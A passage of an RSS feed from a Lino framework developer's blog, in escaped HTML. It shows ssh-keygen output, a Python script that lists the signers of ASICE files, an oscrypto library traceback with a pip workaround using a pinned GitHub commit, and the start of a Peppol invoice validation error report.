&lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;public&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;saved&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;\&lt;span class="n"&gt;Users&lt;/span&gt;\&lt;span class="n"&gt;utilisateur&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;id_rsa&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pub&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;fingerprint&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;LdA41&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;utilisateur&lt;/span&gt;&lt;span class="nd"&gt;@DESKTOP&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;K1MP4G1&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s randomart image is:&lt;/span&gt;
&lt;span class="o"&gt;+---&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RSA&lt;/span&gt; &lt;span class="mi"&gt;3072&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;----+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="o"&gt;..&lt;/span&gt; &lt;span class="o"&gt;+.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;*|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;+.=|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="o"&gt;+*..&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;   &lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="o"&gt;..+&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;=.+&lt;/span&gt;   &lt;span class="o"&gt;+&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="o"&gt;.&lt;/span&gt;   &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;.|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+----&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-----+&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0422.html</guid><pubDate>Tue, 22 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Friday, April 18, 2025</title><link>https://luc.lino-framework.org/blog/2025/0418.html</link><description>&lt;section id="friday-april-18-2025"&gt;
&lt;h1&gt;Friday, April 18, 2025&lt;a class="headerlink" href="#friday-april-18-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5754"&gt;#5754&lt;/a&gt; (How to install esteid digidoc on Tuxedo OS) and
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6007"&gt;#6007&lt;/a&gt; (eidreader test suite fails with libbeidpkcs11.so.0: No such file
or directory)﻿. Seems that both issues are related. Difficult to get help
because nobody feels responsible.  After finding and installing the  &lt;cite&gt;pyasice
package &amp;lt;https://pypi.org/project/pyasice/#quickstart&amp;gt;&lt;/cite&gt; I wrote a script
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;asice.py&lt;/span&gt;&lt;/code&gt;, which is supposed to print the names of the people who signed
an &lt;a class="reference external" href="https://www.id.ee/en/article/bdoc-cdoc-and-asice-digidoc-file-formats-2/"&gt;ASICE&lt;/a&gt;
file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;click&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pyasice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Container&lt;/span&gt;

&lt;span class="nd"&gt;@click&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nd"&gt;@click&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;filenames&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nargs&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Show the signers of the specified .asice file.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;cont&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Signatures: &amp;quot;&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cont&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iter_signatures&lt;/span&gt;&lt;span class="p"&gt;()):&lt;/span&gt;
                &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;) &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_certificate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had the following traceback:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/bin/asice.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pyasice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;XmlSignature&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/pyasice/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.container&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Container&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/pyasice/container.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;oscrypto.asymmetric&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_certificate&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/asymmetric.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;._asymmetric&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;_unwrap_private_key_info&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/_asymmetric.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.kdf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pbkdf1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pbkdf2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pkcs12_kdf&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/kdf.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.util&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rand_bytes&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/util.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;._openssl.util&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rand_bytes&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/_openssl/util.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;._libcrypto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;libcrypto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;libcrypto_version_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;handle_openssl_error&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/_openssl/_libcrypto.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;._libcrypto_cffi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/venvs/dev/lib/python3.12/site-packages/oscrypto/_openssl/_libcrypto_cffi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;LibraryNotFoundError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Error detecting the version of libcrypto&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;oscrypto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LibraryNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt; &lt;span class="n"&gt;detecting&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;libcrypto&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://github.com/wbond/oscrypto/issues/78"&gt;this thread on github&lt;/a&gt;, worked around this for my
personal use by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip uninstall oscrypto
$ pip install git+https://github.com/wbond/oscrypto.git@d5f3437
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Interesting to note that the author of oscrypto, Will Bond, seems a bit special.
Smells like frustration or burnout. In August 2023 somebody asked “I saw you
already fixed that in d5f3437, but as this is not released to pypi our Tool does
not fully work. Would it be possible to release a bug-fix version to pypi?”, a
request that was then backed by half a dozen of other people who had the same
problem. And in October he finally found some time to write an answer: “No, this
is a free-time project for me. The commit is there, so it is certainly possible
to use most Python packaging tools to grab the sha of the commit.”&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0418.html</guid><pubDate>Fri, 18 Apr 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, April 17, 2025</title><link>https://luc.lino-framework.org/blog/2025/0417.html</link><description>&lt;section id="thursday-april-17-2025"&gt;
&lt;h1&gt;Thursday, April 17, 2025&lt;a class="headerlink" href="#thursday-april-17-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I continued testing &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-Ibanity" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;Ibanity&lt;/span&gt;&lt;/a&gt; synchronization using real data in
integration mode.&lt;/p&gt;
&lt;p&gt;My first error message was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;transmissionId&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;d772574a-bddb-4a7b-9b60-4921736daaca&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;peppolInvoice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;attributes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;createdAt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2025-04-17T06:43:37.760Z&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;errors&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;invalid-schematron&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;detail&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Belgian VAT number MUST bestated in the correct format.&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Invoice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cac&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;AccountingSupplierParty&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cac&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Party&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;\&lt;span class="n"&gt;nBelgian&lt;/span&gt; &lt;span class="n"&gt;VAT&lt;/span&gt;
        &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="n"&gt;MUST&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;stated&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;correct&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
